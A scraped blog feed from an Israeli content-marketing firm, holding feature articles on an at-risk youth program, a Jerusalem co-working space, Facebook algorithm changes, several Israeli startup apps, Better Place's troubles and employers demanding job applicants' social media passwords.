Sometimes Lachan’s therapeutic programs evolve out of opportunity. “We have a counselor who has a background in gardening,” Riskin says. “We have a lot of gardens in our ‘Yedidut’ campus. So we thought, instead of hiring a gardener, lets teach gardening to our students. They can learn a life skill, and it will make the village nicer to look at!” The hairdresser course came about because a student asked for it. “Today he’s a certified barber,” Yosef says proudly. “If it wasn’t for this course, he’d probably have gone back to jail by now.”

Another former student found that art spoke to him; today, through Lachan, he finished his high school matriculation exams and is now studying for his bachelor’s degree at Jerusalem’s prestigious Bezalel Academy of Art and Design. “Lachan’s ultimate goal is to transform youth at risk into ‘normative’ members of society,” Riskin says.

Beyond working with teens, Lachan also operates a program called “Migdalim” for college students who want to volunteer in a community. Although the program is not specifically for at-risk students, the vision is that this will allow Lachan graduates to continue within a therapeutic framework after the army. The program grants a full scholarship to its 30 participants. Some 560 young people have taken part in activities organized by the Migdalim students.

Lachan has clearly come a long way from the caravans in which it started over a decade ago. But buildings and staff are only a means to an end. It is Lachan’s graduates, like Rafael, who tell the real story. Rafael, who once was on the verge of prison, today is tutoring elementary school kids with learning disabilities in one of the harshest neighborhoods of Beersheva in the mornings, and spending his afternoons volunteering in a clubhouse for teens. He is also volunteering with the “Acharei!” program through connections he made while at Lachan.

Why did Rafael want to spend a year volunteering rather than going straight into the army? “I felt that after I took so much from the country, I wanted to give back. I wanted to fix the damage.” Does he feel like he’s been able to influence anyone from the hardscrabble communities he’s now serving? “Every day that I walk around, free in the streets and not in a jail cell, proudly wearing my staff t-shirt, I know that I’m setting a personal example. I know that I’m a leader.”

“You know, I envy him,” Riskin adds. “Not everyone is willing to look at him or herself and make a serious change. Whether that’s someone at risk, or just an ‘ordinary’ person, to be able to make that step, that leap, is truly unbelievable.”

]]> https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/feed/ 65 PICO: A Force of Change in Jerusalem https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/ https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/#comments Wed, 05 Feb 2014 12:32:55 +0000 https://bluminteractivemedia.com/?p=887

PICO image from JPostGalya Harish could have set up her new company anywhere.

A seasoned business professional, she has both an MBA and a law degree, passed the bar exam in Israel and in the US, served as vice president of operations and finance for hi-tech incubator JVP Studios, and worked as a brand manager for several international companies in Israel and the UK.

So when the entrepreneurial bug inevitably bit her and she decided to open her own venture, the most logical location for the 40-year-old Harish would probably have been central Tel Aviv or Herzliya, with their wealth of founders in similar situations. But the Jerusalem-born entrepreneur chose to buck the trends of the last 15 years – which has seen start-ups fleeing the capital for the Center of the country – and opened up shop as one of the inaugural tenants at PICO, a new co-working space in Jerusalem’s Talpiot neighborhood.

PICO – an acronym for “people, ideas, community and opportunities” – is at the vanguard of a growing worldwide movement for entrepreneurs at the start of their business journeys to set up shop together and cut costs by sharing desks, equipment, phone lines and Internet access, all in an open-plan space. For a single entrepreneur, or even a small start-up with one or two employees, the price is appealing: PICO charges NIS 800 per month per workspace.

And if you only need to sit there a day or two a week, the price drops to as low as NIS 300.

Co-working spaces exist in the Tel Aviv area, but PICO is the first in Jerusalem. Its founder Eli Wurtman hopes it’s not the last.

Wurtman sees PICO as more than just a friendly place for entrepreneurs to park their laptops and cellphones. He believes that by creating similarly welcoming environments for students and start-ups, Jerusalem can reclaim its place as the country’s creative capital.

He should know. In 1996 he cofounded DeltaThree, one of the first companies to deliver voice-over-IP calls from a regular telephone. The business grew to 300 employees and was the poster child for start-up Jerusalem, which, at the time, was home to hundreds of small to medium-sized hi-tech ventures.

But then came the second intifada and the dot.com bust of 2000.

“The industry got snapped almost overnight,” Wurtman recalls. “And with it, sadly, most of the people who were working here left Jerusalem.”

He did, too, eventually commuting to Herzliya as a general partner for Benchmark Capital, a leading VC firm. His career thrived, he says, but “I knew I wanted to get back to Jerusalem.”

Within the last few years, co-working spaces have started to take off big-time.

Wurtman teamed with fellow investor Isaac Hassan and began designing what he called a New York SoHo-style “loft” space in Jerusalem.

It’s clear from the moment you walk into PICO – located in a grimy, nondescript industrial building, on the same floor as the offices of the Association of Americans and Canadians in Israel (AACI) – that there has been an incredible amount of attention to detail without spending a lot of money.

“We didn’t want it to feel like Har Hotzvim or Malha,” Hassan says, referring to two of Jerusalem’s more popular hi-tech areas. “It needed to be functional, in sync with the area.”

The resulting look, which was meticulously planned to appear decidedly down-rent, includes bare concrete walls and exposed piping, natural wood floors, lots of metal and glass and even a large tube in the center of the office “to bring in fresh Jerusalem air,” Hassan says. (There is air conditioning, too – Jerusalem, like Tel Aviv, can get hot during the summer.) Windows open from two sides to let in plenty of light.

“We want the space to be copied [by future co-working spaces in Jerusalem].

So we didn’t spend a lot of money on things like plaster,” Wurtman says, only half joking.

He sees the Talpiot area as the center of a renewed start-up Jerusalem, calling it “the city’s garage district,” like lower Manhattan or Herzliya originally were in their respective environs. Many of the people who have been commuting from Jerusalem to Tel Aviv live near Talpiot, so it’s walkable. And it’s right on the new bike path that runs from the Old Railway Station in the German Colony.”

Plus, adds Hassan, “you need to have a good coffee shop nearby, and we have [popular bakery] Lehem Shel Tomer downstairs. The smell of fresh-baked bread liberally comes up through the window of my office.”

Also nearby is the private studio of Bezalel industrial design faculty head Haim Parnas, adding an artistic vibe to the neighborhood.

There is room for 18 entrepreneurs to sit in PICO’s central shared space. Use of a large conference room is included in the price, and there are couches for more casual working and conversation.

Occupancy rate since PICO opened at the beginning of this year has ranged from 40 percent to 60%, and Wurtman says it is already breaking even.

There are also six private offices, where Wurtman, Hassan and several other more established investors sit.

That’s part of the design, too. The vision is that the entrepreneurs can feel free to ask business questions of the more experienced professionals, as well as the other way around: It gives Wurtman and Hassan the opportunity to identify potential investments up close.

Harish says the ability to brainstorm easily with the PICO partners and other entrepreneurs is a key reason she chose to start there.

Her company, Wear My Prayer, creates custom jewelry with a written prayer inside.

“People unconsciously touch their necklaces all during the day,” she explains. “Each time they touch it, there’s a meaning to it. They may think about what note is inside, what the message is.”

Harish describes a problem she had with the Wear My Prayer website.

“We were getting a large bounce rate,” she says, referring to when visitors surf away without buying anything. “So we called an impromptu meeting, and everyone in the office came over to look at the page and make suggestions as to where the problem was.”

She admits that it’s not easy being an entrepreneur in Jerusalem, far from most of her start-up peers. “But the fact that there is something like PICO changes things. People come here and they’re surprised. They say that they’d expect this in Tel Aviv or New York, not in Jerusalem.”

Harish, who has several part-time employees, says that even when her company gets big enough and needs to “graduate” from PICO, she plans to find a space close by and visit at least once a week.

Sean Lewin is also renting shared space at PICO. A recent graduate of the Jerusalem College of Technology, the fast-talking 23-year-old made quite a splash when he raised over $30,000 on the Kickstarter “crowd funding” website to build an LED light for the iPhone that indicates when a message, email or text has arrived.

The light fits into the phone’s headphone jack and changes color and blinking frequency depending on the type of message. It’s something that BlackBerry users have had for years but that former Apple CEO Steve Jobs summarily banned from the iPhone.

Lewin – who has business partners in Italy, the UK and the US – had been working at home, but found he was not being productive enough.

“I find I can be more focused and concentrated here,” he says, despite the noise from other people. “And if I have a question, I can ask my mates. If I’m building an Excel spreadsheet, I can speak to a VC. That’s not something I could get in my own living room. There’s just a good vibe here.”

He also enjoys the free beer.

“I usually stay until 7 or 8 p.m.,” he says with a smile.

The beer is available at what is perhaps the most striking element of the PICO design: a blue neon-lit bar and kitchen, which is stocked with all-youcan- drink soft drinks and brew. This plays a role in the regular networking events PICO hosts.

Indeed, PICO buzzes after hours often as much as during the day. A series of intimate lectures have taken place at night; so far, the founders of hi-tech darlings Waze and Fiverr have spoken to a young, invitation-only crowd of no more than 30. Executives from Bira Shapira, a Jerusalem-area microbrewery, have also come to speak.

And city council member Rachel Azaria, head of the Yerushalmim faction, brought her whole team to hold one of its weekly meetings at PICO.

Hassan has been active in outreach, too: one notable partnership is with Siftech, an initiative that the Hebrew University’s student union founded last year to promote Jerusalem as a place to stay after getting one’s degree. Ten student start-ups have participated in Siftech’s four-month intensive technological entrepreneurship workshop. PICO offered a couple of months of free rent to the top two winners of Siftech’s most recent competition.

PICO also has close ties with Ruah Hadasha (New Spirit), another student organization promoting Jerusalem.

Clearly, having one cool place to work won’t solve all of Jerusalem’s problems with retaining the tens of thousands of college students who study in the city every year (including more than half of all art students in the country). Overall employment options and the availability of affordable housing top graduates’ concerns.

But, insists Wurtman, “we have the opportunity to be a force of change.

There’s an energy that’s required to change the working reality of a city; to give it more of an aspirational nature.

If there were 10 more places like PICO, more entrepreneurs would come out of their basements and stay.”

Adds Hassan, “Entrepreneurs are special people. They can change industries. It’s not just about PICO, it’s about changing the underlying aspect of the city.”

This article appeared originally on The Jerusalem Post.

]]> https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/feed/ 795 Facebook changes mean greater need for original content https://bluminteractivemedia.com/2013/12/facebook-changes-mean-greater-need-for-original-content/ https://bluminteractivemedia.com/2013/12/facebook-changes-mean-greater-need-for-original-content/#comments Tue, 17 Dec 2013 13:22:43 +0000 https://bluminteractivemedia.com/?p=847

Cat memes will become less prominent on Facebook

Recent changes to Facebook’s news feed algorithm mean that organizations and companies developing and publishing their own original content are now receiving a significant boost on the leading social media site. Two weeks ago, Varun Kacholia and Minwen Ji, engineering and software managers at Facebook, respectively, posted in the Facebook Newsroom that “we are now paying closer attention to what makes for high quality content…what this means is that you may start to notice links to articles a little more often (particularly on mobile). Why are we doing this? Our surveys show that on average people prefer links to [these kinds of] articles…to the latest meme” about dancing cats or photos marked up with funny captions (as in the example to the left).

The bottom line: “high quality articles you or others read may show up a bit more prominently in your News Feed, and meme photos may show up a bit less prominently.”

Facebook’s move is not a surprise. Traffic from Facebook to news sites tripled in the past year. Facebook is being increasingly used as a news source (much as Twitter has also evolved). So why shouldn’t Facebook’s algorithm promote original news articles? Facebook hasn’t revealed the secret formula for how it will recognize “high quality content” but the Kacholia and Ji’s promise is clear: uninformative over-shared links and tired memes will be demoted.

All of this is great news for Blum Interactive Media clients that have engaged us to create original content to publish on their websites, Facebook pages, email newsletters and other social sharing services. Original content already ranked high in Google’s organic listings; now Facebook is joining the party. Take a look at the home page from one of our clients, Shavei Israel: they treat their website as a mini-newspaper, publishing 2-3 original stories (which we write) every week. The result has been dramatic – on Facebook alone, Shavei Israel and its related pages now have more than 60,000 “likes” and web traffic is up as well.

There’s a sidebar take away here too: trying to create “viral” material online just got harder…and easier. You can spend less time over-thinking and crazy planning what you hope will become the next mega-video hit. Instead, write the best quality content and the social networks will help you out on their own terms.

Facebook - Related articles exampleFacebook will also be showing “related articles” directly below the news feed post. Although you can’t control which articles will appear, our experience using similar products on our own websites indicates that at least some of the time, these will be articles that your organization or company has published. The more content you have out there, the more likely it will appear in this new Facebook section. See the example from Facebook on the right.

If you’re thinking about how to get going with your own original content strategy, keep in mind that it’s not a one-time thing. To stand out on Facebook, Google – really, anywhere online – your organization or company needs a regular stream of innovative articles and multimedia material. The aim is to turn your website and social media presence into a destination; a trusted source of compelling content that make readers want to come back – to subscribe to your newsletter, to like your Facebook page, and to share and forward what they receive.

Now more than ever, you can’t do this with a couple of lines and a cute picture in a blog post here or a press release there. You need to publish new material on a continuing basis. As your content appears more frequently in your followers’ news feeds and in search engine results, your supporters will know who and what you are about, so that when it’s time to ask for donations, or to sell a new product, they’ll already be primed.

]]> https://bluminteractivemedia.com/2013/12/facebook-changes-mean-greater-need-for-original-content/feed/ 80 Hello Doctor app frees you from medical paperwork https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/ https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/#comments Tue, 19 Nov 2013 16:42:13 +0000 https://bluminteractivemedia.com/?p=830

Hello Doctor co-founders, from left, Ziv Meltzer, Maayan Cohen and Eran Keisar.

(Hello Doctor co-founders, from left, Ziv Meltzer, Maayan Cohen and Eran Keisar.)

When Maayan Cohen’s partner was diagnosed with a cancerous brain tumor, she was suddenly thrust into a world of specialists, tests, recommendations and paperwork. It was overwhelming for the then 25-year-old Tel Aviv University biochemistry graduate, who was working as a senior analyst at Tel Aviv Strategic Consulting.

Midway through what would stretch into a two-year ordeal, Cohen realized there might be a better way of managing the process.

Her new mobile app, Hello Doctor, launched for Apple devices in August. The app allows patients and their case managers (like Cohen) to digitize and organize all the paperwork they currently carry in a binder. Results from blood tests, ER visits, surgeries, CT scans and more can be organized into “smart lists.”

Patients can then easily call up the right records and never succumb to what Cohen says is the case manager’s greatest nightmare: missing the one document your doctor needs to decide on the spot if you should go for more chemo, surgery or an alternative treatment … and your few minutes of precious face time are up and it’s on to the next patient.

The idea of patients carrying their medical records with them in electronic form is nothing new. More than a decade ago, technologies putting patient data on a chip embedded into their HMO card or on a USB thumb drive abounded, but they never gained traction. Cohen isn’t surprised.

“The execution wasn’t connected to reality,” she says. “Doctors won’t take the risk of putting a USB key into their computer. And many are techno-phobic even with websites. You can’t ask a senior oncologist in a top hospital to go to your personal medical portal and enter your password. Most doctors want you to bring in a paper copy.”

Tablet computers, however, are another matter. “We haven’t heard any objections to patients bringing in their records on an iPad,” Cohen continues. “85 percent of US doctors own a tablet. They’re not afraid of them. Rather, it saves them time. And perhaps most important, it doesn’t force the doctor to open his or her computer.”

Free for patients

There are several ways to get records into Hello Doctor. You can use the camera in your iPad to take a picture of a document. Or, if it’s already on your computer, you can copy it to Hello Doctor using the Dropbox file transfer application. Exporting test results directly from an HMO’s patient portal is in the pipeline.

Another feature, which Hello Doctor users have requested that’s also in development, is the ability to take notes using the app. “It’s our most requested feature,” Cohen says. The idea is to allow patients to write down questions about a test result or medication dosage, for example, right on the appropriate electronic record.

Once data is input into Hello Doctor, it’s stored locally on the patient’s iPad. “In another two months, we’ll release a version that will back up that information on the cloud and that will synch it to another device, such as the patient’s iPhone,” Cohen says. All data will be transferred using the industry-standard SSL security protocol.

hello-doctor-app

The backup and synchronization is key. If your iPad is stolen, your data is gone (just as if you lose your physical paperwork). Once the synch is in place, users will be able to instruct Hello Doctor to delete all the data from their mobile device via a Web interface. The app always requires a password, in order to keep your records as private as possible.

Still, some data does get sent beyond your iPad and the cloud. That forms the basis of the company’s business model. In the same way that Google scans your Gmail messages for keywords to serve up ads, Hello Doctor will look through your records (“anonymously and aggregated,” Cohen insists) to check on how a patient is responding to specific treatments – for example, is a particular medication causing nausea or vomiting? Hello Doctor will then sell that data to pharmaceutical companies “so they can make better decisions about future drug development,” Cohen says.

This is par for the course in the Internet age. Facebook is free because it owns your data and can provide it in the same non-identifiable way to advertisers. Hello Doctor’s success will hinge, in part, on whether users find enough value in the app to ignore any concerns about what’s being done with their records behind the scenes.

“It’s a win-win model,” Cohen stresses. “Patients don’t have to pay anything, they get a full integrated solution that will grow over time, and it helps pharmaceutical companies build better drugs.”

Cohen started Hello Doctor with two Israeli co-founders, Eran Keisar and Ziv Meltzer. The company has a staff of eight and works in Tel Aviv.

Hello Doctor competes most directly with Microsoft’s HealthVault, which is available for the Web and tablet devices, including the iPhone. A variety of other mobile apps allow you to input emergency information such as your allergies, which vaccinations you’ve taken and emergency contacts, but don’t sport the broader vision Cohen and her team have for Hello Doctor.

As for Cohen’s partner, there’s good news at the end of this story: After multiple surgeries and rounds of radiation and chemotherapy, he is now “100% cancer free,” Cohen says.

This article appeared originally on Israel21c.

]]> https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/feed/ 142 Israeli App Steers You to Parking Spots https://bluminteractivemedia.com/2013/03/israeli-app-steers-you-to-parking-spots/ https://bluminteractivemedia.com/2013/03/israeli-app-steers-you-to-parking-spots/#comments Thu, 21 Mar 2013 07:00:35 +0000 https://bluminteractivemedia.com/?p=793

Parko logoTomer Neu-Ner was driving home from the hospital with his wife and newborn son. As always, parking was tight near Neu-Ner’s central Tel Aviv apartment.

“I was a nervous new father,” he says. “I didn’t want to leave my baby in the car more than even a minute longer than I had to.” So he stopped the car briefly on the sidewalk, ran upstairs, got his family settled and returned to his vehicle only to find … a NIS 500 ticket on the windshield.

That wasn’t the only time Neu-Ner has battled the parking gods who have decreed that the average Tel Aviv resident will spend 24 minutes on average looking for a parking spot. But it was the wakeup call that, if Neu-Ner’s new startup Parko succeeds, will transform life for curb-deprived drivers everywhere. Investors seem to agree: the new Israeli “crowd-funding” site OurCrowd recently invested in the company.

Neu-Ner teamed up with his cousin Itai David, a Technion graduate whom he describes as an “algorithm geek.” Together they created a smartphone app that almost magically senses when a parking spot will become available – even before the car’s driver opens the door.

The technology is based on the same principles that have made fellow Israeli tech startup Waze such a darling of the roads, but there is no connection between the companies.

Waze informs drivers where traffic is heavy and suggests alternative routes, all without requiring any active input by users. The app uses GPS to sense when cars with the open app are slowing down and from there it extrapolates that data into traffic alerts.

Parko also uses GPS to sense the user’s speed. Once the vehicle has stopped and the speed at which the phone is moving has slowed to a comfortable “walking pace,” Parko assumes the user has parked. When Parko senses the user returning in the direction of the parked car, the app sends a message to other users that a spot may soon open up.

Neu-Ner and David built the app so that it minimizes access to the phone’s GPS, a critical feature given how quickly location service usage drains a mobile device’s battery.

A different approach

Parko is not alone in the parking alert business. The elephant in the room, as it so often is, is Google, whose OpenSpot app for Android phones does much the same thing as Parko with one pachyderm-sized difference: OpenSpot requires drivers to tap the app to alert other users that they’re leaving their parking space.

This is also an option for Parko users. However, Neu-Ner says, it is not ideal because by the time the alert hits the cloud, the space will almost always be long gone.

A very different approach is being taken by ParkSF in the San Francisco area, which involves sensors buried under the street that will alert drivers when a spot is being vacated in real time. Neu-Ner says there is talk in Tel Aviv about deploying something similar, although he believes the entirely crowd-sourced approach has more mileage, so to speak.

After Parko’s October, 2012 launch in Tel Aviv, Neu-Ner has his eyes set on Paris and New York. Statistics for both those cities put the average time someone looks for a parking space at 40 minutes, nearly double Tel Aviv’s.

There’s no database to be updated before a city is ready for Parko. It’s more a matter of promotion and marketing, something that’s been tough on a shoestring budget of money from friends and family. Parko’s recently fundraising from OurCrowd should help keep keep the parking brake off.

Neu-Ner is taking the “give it away, charge later when you’ve built a huge user base” approach common to startups (remember Facebook?). At that point, “location-based advertising and the sale of data will be worth so much more.” He also anticipates that freemium (paid) features and “demand-based pricing will become very interesting options for revenue models.”

Won Israeli Mobile Challenge

The 30-year-old Neu-Ner grew up in South Africa with Israeli parents. He returned to Israel four years ago and worked as a product manager at a startup creating software for options trading on Wall Street. He has degrees in economics and math from the “old country” and, more recently, an MBA from Tel Aviv University.

While Parko users stand to benefit when they search for a spot, we wondered what kind of incentive would entice users to leave the Parko app open once they found parking. Neu-Ner has a quick answer: prizes. For example, after you’ve just shared your 20th parking spot, you might get a free carwash from a Parko partner, or a coffee at a nearby Aroma.

Regardless of prizes, Parko needs a critical mass of users to function effectively. Thousands of Tel Aviv residents already know about the app, in part due to Parko’s win of the top prize at the Google-sponsored Israeli Mobile Challenge competition in June, 2012.

]]> https://bluminteractivemedia.com/2013/03/israeli-app-steers-you-to-parking-spots/feed/ 134 Better Place new management promotes “beta test” Israel https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/ https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/#comments Thu, 17 Jan 2013 11:48:10 +0000 https://bluminteractivemedia.com/?p=770

Jody and Brian meeting with "Brian of London" at the Better Place customer event

Israelis notoriously have a hard time saying they’re sorry, let alone that they may have goofed big time. But that’s exactly what happened in an extraordinarily candid meeting last week between Better Place’s new management team and several hundred owners of the company’s Renault Fluence 100% electric vehicles.

Not only did CEO Evan Thornley, the genial Australian who replaced Israeli founder Shai Agassi in October, concede that the company had set unrealistically aggressive expectations and that too many target dates had not been met, but his CFO, Alan Gelman, who’s also the CEO of Better Place Israel, went so far as to give out his personal cell phone number and email address. Talk about transparency.

“I know you’re frustrated that we didn’t fight back enough,” Thornley told the audience, referring to the blitz of negative media coverage the company received last year when Agassi was ousted, layoffs were announced, sales dried up, and cash ran dangerously low. “The truth is, what was said in the media initially was basically correct. We had to make some very big changes fast.”

The backlash against the company, Thornley suggested, actually came about, davka, because so many people wanted Better Place to succeed. When it looked like that might not be the case, the public and the press turned. That said, Thornley assured the crowd that Better Place is beyond the crisis and now it was time “to return to the sense where people want us to win again.”

Despite the problems, Thornley said he believes that “the business strategy of the company is fundamentally sound. It’s just that when things don’t go right, it’s easier to blame the strategy rather than the execution of the strategy.”

Thornley may have spoken too fast. This morning, the Israeli press reported that Thornley has resigned, citing disagreements with Better Place’s investors over exactly that: strategy. We’ll provide an update later once we know better what’s now going on (assuming the company continues to come clean).

Despite this latest news, Thornley’s examples still make sense. He cited Better Place’s lackluster sales to date of less than 1,000 all-electric cars currently on our roads but insisted that Israelis will eventually flock to electric vehicles. It’s just that it was unrealistic to expect that they’d do that before the infrastructure was all in place, and that’s just happened now.

So while the media deemed Better Place a failure for sluggish sales, Thornley believes “we are now only at the beginning, not the end.” Current car owners should be seen for what they are: tech-savvy, risk-taking early adopters; the beta testers of the electric car industry, if you will. 2013 will be the make it or break it year, he stated, understanding the risks.

To get the word out, Better Place has hired a new Chief Marketing Officer, Peter Economides (a native English-speaker like Thornley, originally from South Africa but more recently living in Greece where he’s had an even more daunting task: re-branding an entire country that’s gone nearly belly up),

Economides, who will be leading a renewed marketing campaign in Israel, has an impressive pedigree. He worked directly with Steve Jobs on the “Think Different” campaign that turned Apple around from the verge of bankruptcy in 1997. And he headed up Coca Cola’s international marketing while living in New York.

“You are the heroes,” he cheered the crowed on. “You’re the people with the vision and courage and belief to say yes. This is where the ball starts rolling.”

Economides has been at Better Place all of three weeks but he was sold in less than ten minutes, he said, when he took a ride in his first electric car on a visit to Israel. He flew back home and got in his gas-powered car. “I thought I was driving ‘yesterday,’” he quipped. That car, he added almost as an aside, was a Porsche.

What’s gone wrong in Better Place version 1.0? Plenty, as Thornley, Economides and Gelman heard while fielding questions from their outspoken customer advocates. The swapping stations aren’t in the right places (“the algorithm for networking planning is very different for electric cars and we didn’t get it quite right,” Thornley said); the batteries themselves don’t get the range initially promised (“what works in the lab is not always achieved in the field”). One owner felt Jerusalem had been abandoned (the opening of the capital’s only swapping station was delayed for months). And parking spots with power plugs and are too often filled with gas guzzlers (“we need regulatory support from the government for this,” Thornley emphasized).

It wasn’t all doom and gloom. An equal number of Better Place customers took to the microphone to lavish praise on the company. Economides’ driving experience was roundly acknowledged (the acceleration on an all-electric vehicle, along with the spooky silence when stopped create a driving experience that’s uniquely exhilarating), and the company’s responsive Customer Service is on a level several notches higher than anything else available in Israel. Battery swapping is as fast as promised. And Idan Ofer, chairman of the Israel Corporation and Better Place’s prime investor, even made a surprise appearance, showing his commitment to the company he’s invested some $300 million in by arriving in his own Renault Fluence, which he parked in front to show off some special customizations he’d added (it was all tricked out with fully leather, electric powered seats).

All this, nevertheless, begs the question: how exactly is Better Place going to make a better go of it this time around? Here’s what Thornley said last week. Whether this plan is the reason he’s no longer the company’s CEO isn’t clear. But his vision (and that of the management consultants who worked with the company over the past months) was simple: Better Place wants to be the electric recharging network for every electric car made. That means applying its experience in building charge spots and a smart power grid that doesn’t overload when everyone plugs in at once to supply the growing number of Nissan Leaf’s and Chevy Volt’s, even if they don’t have swappable batteries.

To Israelis, that might not resonate so much because the only electric vehicles in this country are the Renault Fluence’s that Better Place sells. But in Thornley’s Australia, Better Place is already working with General Motors as the car manufacturer’s “preferred charge network.

Of course, Better Place would like all the other electric vehicle makers to offer cars with swappable batteries, which Thornley said he still believes is the future of electric and the differentiating feature between Better Place and other up and comers. That will come eventually, he insisted, once a network of swap stations similar to the ones in Israel and Denmark is built out in target countries (the U.S. and China are high on the list). That poses a not insignificant chicken and egg problem, but Thornley said that, once Israel is acknowledged as a clear “proof of concept,” the economics of electric cars will ultimately win out.

“The cost of manufacturing an all electric car is much cheaper than a hybrid,” he pointed out. “There’s only one power train versus two” as in a Toyota Prius, for example. And, he added, for many of today’s fixed battery electric cars, it would be fairly “easy to produce them in a swappable form.” Think 18-24 months for a factory to add that capability.

Better Place also wants to be more transparent with its software – so far, “a brilliant integration but a walled garden,” Thornley admitted. Why can’t Better Place’s OSCAR GPS system work with Waze, for example? It should, Thornley said.

The question remains, however: can Better Place convince the world that its Israeli “beta test” country is a success that can be applied elsewhere, before the company runs out of money again? It’s an imperative, explained Saul Singer, who gave a closing talk for the evening. Singer is the co-author of Startup Nation, the best selling book about Israeli entrepreneurship that featured Better Place in its first chapter as the poster child of the scrappy Israeli startup with global ambitions.

Better Place was Israel’s first attempt at tackling a problem affecting the entire world – reliance on a dwindling supply of oil – in the living laboratory of a small country, Singer said. The author envisions Israel doing the same now for other burning issues. “But Better Place has to succeed if we want to do it next for education,” he said, giving a perhaps improbable example. “The stakes for this are huge.”

Singer then shared a personal story. His wife, he said, hates it when they have to stop the car to swap the battery. But then his kids intervene from the back seat. “’Why are you complaining, Imma?’” they’ll say. ‘We’re the pioneers.’ Yes there are problems, but that’s the meaning of being a pioneer. We have to stick with it and win.”

This report on Better Place originally appeared on the Israelity website.

]]> https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/feed/ 92 Want a job applicant’s social media password? Don’t try it in Canada (or anywhere!) https://bluminteractivemedia.com/2012/03/want-job-applicants-social-media-password-dont-try-it-in-canada-or-anywhere/ https://bluminteractivemedia.com/2012/03/want-job-applicants-social-media-password-dont-try-it-in-canada-or-anywhere/#comments Thu, 29 Mar 2012 10:49:52 +0000 https://bluminteractivemedia.com/?p=762

Would Mark Zuckerberg be asked for the password to his Facebook account?

Here’s a trend that seems outright outrageous: asking for a job applicant’s social media passwords.

It’s been in the news for the past few years, off-and-on, especially during the past few weeks. Today, the Toronto Star has an article about a candidate for a law enforcement job who was asked to share his Facebook password with the recruiter. He wasn’t just asked to “friend” the recruiter, and when he offered to show his profile on the laptop in the interview room, the recruiter insisted on receiving the password.

The article in the Star came in reaction to a flurry of reports in the U.S. and U.K. about the occasional use of this distressing practice. Asking for an applicant’s password for a job with the police seems to be the most common – Bloomberg BusinessWeek cites examples from Virginia, Montana and Maryland – while The Telegraph writes about an online retail company employee in the U.K. who was asked to hand over his login details after his employer went trolling on Facebook and couldn’t find any personal details on the worker.

Facebook itself is up in arms about the practice. The Telegraph received a response from Erin Egan, Facebook’s chief privacy officer, who wrote:

In recent months, we’ve seen a distressing increase in reports of employers or others seeking to gain inappropriate access to people’s Facebook profiles or private information. This practice undermines the privacy expectations and the security of both the user and the user’s friends. It also potentially exposes the employer who seeks this access to unanticipated legal liability.

The most alarming of these practices is the reported incidences of employers asking prospective or actual employees to reveal their passwords. If you are a Facebook user, you should never have to share your password, let anyone access your account, or do anything that might jeopardize the security of your account or violate the privacy of your friends. We have worked really hard at Facebook to give you the tools to control who sees your information. … That’s why we’ve made it a violation of Facebook’s Statement of Rights and Responsibilities to share or solicit a Facebook password.

The ACLU warns that employers or recruiters asking for social media passwords are entering a legal gray area that may potentially open them up to both privacy and discrimination lawsuits. And if the employer is the government, “they may be violating your Fourth Amendment rights,” Catherine Crump, staff attorney with the ACLU, told BusinessWeek.

Canadians may have it better than job seekers elsewhere. The Canadian publication TechVibes quotes Paul Cavaluzzo, a Toronto-based labor lawyer, who says that laws in Canada are more stringent than in the U.S. with regards to protecting private information. In an interview with CityTV he noted that, while there aren’t yet laws dealing specifically with social media, Canada has “always respected privacy rights.”

Cavaluzzo adds that “if an interviewer demands your password, feel free to call them out. Or just ask them for their house keys in exchange; the differences are negligible.”

A version of this article appeared yesterday on the AIM Group blog, a publication I write for regularly.

]]> https://bluminteractivemedia.com/2012/03/want-job-applicants-social-media-password-dont-try-it-in-canada-or-anywhere/feed/ 1247 The Best iPhone and iPad Apps from Israel https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/ https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/#comments Mon, 03 Oct 2011 15:35:12 +0000 https://bluminteractivemedia.com/?p=712

Whether you’re looking for something healthy to eat or trying to plot the best way home through rush-hour traffic, there’s an application for that on your iPhone or iPad. And if you look under the hood, you might just discover it’s made in Israel.

With its expertise in cellular technologies, a love affair with the cell phone, and a fast national adoption rate for the iPhone – despite the fact Israelis pay some of the highest prices in the world for the privilege – it’s not surprising that Israelis have plunged into development of iPhone applications.

ISRAEL21c combed through some of the best Israeli apps to come up with our top 10 blue-and-white list for the iPhone.

1. Fooducate

With a recent positive write-up in The New York Times, Fooducate is the latest darling of the Israeli iPhone app scene. And it’s healthy to boot. The concept is simple: before you buy a product at the grocery store, check out what’s really in it. If its bite is worse than its crunch, Fooducate will suggest an alternative that’s better for your body (if not for your pocketbook).

The app uses the iPhone’s built-in camera to scan a product’s bar code. Using its own proprietary algorithm, Fooducate counts up the nutrients and assigns a letter grade from A to D. The app is smart enough to spot cleverly disguised additives – did you know that “autolyzed plant protein” is just another way to say MSG?

Fooducate is primarily for products manufactured in the United States, and its database isn’t yet complete (the company encourages users to snap pictures of items they’d like to see covered and send them in).

2. FiddMe

FiddMe is also a food app, but it takes a very different approach than Fooducate. Rather than aiming to educate, FiddMe wants to turn eating into a worldwide social game – a kind of FourSquare for foodies.

FiddMe allows users to take pictures of great meals they’re eating (in real time) and post the snapshot and information about the restaurant to the cloud. Other FiddMe users can tap into the growing database of yummy recommendations. The service is integrated with other location-aware apps like FourSquare and Facebook. You can also post to Twitter or to the FiddMe website.

FiddMe is not competing directly with user-generated recommendation services like Yelp. Those focus on restaurants as a whole, while FiddMe drills down to the quality of the fettuccini. Not surprising from an app created by a bunch of self-described Israeli “foodies.”

3. Waze

Waze has tackled a problem we’ve all experienced – getting stuck in traffic and not knowing the best alternative routes – and crowd-sourced it. Users automatically add information about traffic tie-ups in real time – without having to do a thing. Waze tracks where drivers are via GPS. If there are more drivers than expected in a certain stretch of road, the Waze map will turn red.

